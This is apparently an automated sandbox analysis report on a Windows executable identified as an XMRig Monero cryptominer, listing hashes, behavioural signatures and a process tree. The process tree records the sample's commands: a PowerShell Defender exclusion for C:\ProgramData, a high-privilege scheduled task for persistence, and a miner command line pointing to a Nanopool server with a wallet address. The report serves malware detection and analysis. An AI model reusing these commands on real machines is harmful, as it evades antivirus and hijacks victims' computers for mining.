Analysis

  • max time kernel
    145s
  • max time network
    148s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    07-11-2022 11:35

General

  • Target

    1b0167b65c9b113f44d38ae3a49d67adff514a7b354fd2809c619c458b8e6e06.exe

  • Size

    3.0MB

  • MD5

    c766d0165cf4337e52985a58b03f2a91

  • SHA1

    85a82f096757f309d47fa64f5cb7ab2faaff158b

  • SHA256

    1b0167b65c9b113f44d38ae3a49d67adff514a7b354fd2809c619c458b8e6e06

  • SHA512

    59c98c7a647302f1e9aa4c2a645068ec9766082262f7e5e04b6c7b3f7ff842ef37655861bb92035b9ef498a97c7924a20c4e4c5148922fe1849d3d55aa8162c5

  • SSDEEP

    49152:tBiD61h+tHbmYIm7oOIBJJFgNEe0GkOL1F6eQ+hdAwUXuQgVS/:GDGtzmNEejzS/

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Executes dropped EXE 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1b0167b65c9b113f44d38ae3a49d67adff514a7b354fd2809c619c458b8e6e06.exe
    "C:\Users\Admin\AppData\Local\Temp\1b0167b65c9b113f44d38ae3a49d67adff514a7b354fd2809c619c458b8e6e06.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:992
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8189.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4968
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:5064
      • C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4324
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3180
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1668

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    3.0MB

    MD5

    c766d0165cf4337e52985a58b03f2a91

    SHA1

    85a82f096757f309d47fa64f5cb7ab2faaff158b

    SHA256

    1b0167b65c9b113f44d38ae3a49d67adff514a7b354fd2809c619c458b8e6e06

    SHA512

    59c98c7a647302f1e9aa4c2a645068ec9766082262f7e5e04b6c7b3f7ff842ef37655861bb92035b9ef498a97c7924a20c4e4c5148922fe1849d3d55aa8162c5

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    3.0MB

    MD5

    c766d0165cf4337e52985a58b03f2a91

    SHA1

    85a82f096757f309d47fa64f5cb7ab2faaff158b

    SHA256

    1b0167b65c9b113f44d38ae3a49d67adff514a7b354fd2809c619c458b8e6e06

    SHA512

    59c98c7a647302f1e9aa4c2a645068ec9766082262f7e5e04b6c7b3f7ff842ef37655861bb92035b9ef498a97c7924a20c4e4c5148922fe1849d3d55aa8162c5

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    ad5cd538ca58cb28ede39c108acb5785

    SHA1

    1ae910026f3dbe90ed025e9e96ead2b5399be877

    SHA256

    c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

    SHA512

    c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    2f98ffbecf3ccf4e5fe8c8f889c9ab51

    SHA1

    dcd55850425c3b10dc9149979722772821b4a19c

    SHA256

    875e5437c29eb6b8583bb3ff5d4fbbc029a1fe4913eccf26720ffff0d0f0334b

    SHA512

    7d0e14ae83731633b15d30b071cc64fcd10d3a5e3af3cb77d1b803a1bc66fefef9183279f67058b73aadcd111ec13cb49d52b04aba9b9b20b36154171ce49d5f

  • C:\Users\Admin\AppData\Local\Temp\tmp8189.tmp.bat

    Filesize

    149B

    MD5

    cfd4bf22f7c04fd192562e4ae64ebcb5

    SHA1

    173a384f96e1938989b9f919f086f37e0de6ba5f

    SHA256

    ff854806c6bbc7ce5d1abe77aa9bc17a550b37be1e04421360a7d65e5ea6b5f6

    SHA512

    c6b042408e2818308aa70d7209bc427bbf58a6b1f46be3226ac8c5cda0d52b79d33522fb8d83c4923e6cdb306b154d7dbef15669d087ff5de95093e4fff8b223

  • memory/992-117-0x0000000000000000-mapping.dmp

  • memory/992-126-0x0000014C3BEA0000-0x0000014C3BEC2000-memory.dmp

    Filesize

    136KB

  • memory/992-129-0x0000014C54ED0000-0x0000014C54F46000-memory.dmp

    Filesize

    472KB

  • memory/1668-205-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1668-210-0x000002A18E670000-0x000002A18E6B0000-memory.dmp

    Filesize

    256KB

  • memory/1668-214-0x000002A18E6D0000-0x000002A18E6F0000-memory.dmp

    Filesize

    128KB

  • memory/1668-213-0x000002A18E6B0000-0x000002A18E6D0000-memory.dmp

    Filesize

    128KB

  • memory/1668-212-0x000002A18E6D0000-0x000002A18E6F0000-memory.dmp

    Filesize

    128KB

  • memory/1668-211-0x000002A18E6B0000-0x000002A18E6D0000-memory.dmp

    Filesize

    128KB

  • memory/1668-207-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1668-202-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1668-203-0x0000000140343234-mapping.dmp

  • memory/1668-204-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1668-206-0x000002A18CD60000-0x000002A18CD80000-memory.dmp

    Filesize

    128KB

  • memory/3180-201-0x0000000000000000-mapping.dmp

  • memory/4324-161-0x0000000000000000-mapping.dmp

  • memory/4540-166-0x0000000000000000-mapping.dmp

  • memory/4952-116-0x00000000000E0000-0x00000000003E4000-memory.dmp

    Filesize

    3.0MB

  • memory/4968-118-0x0000000000000000-mapping.dmp

  • memory/5064-123-0x0000000000000000-mapping.dmp

  • memory/5088-158-0x0000000000000000-mapping.dmp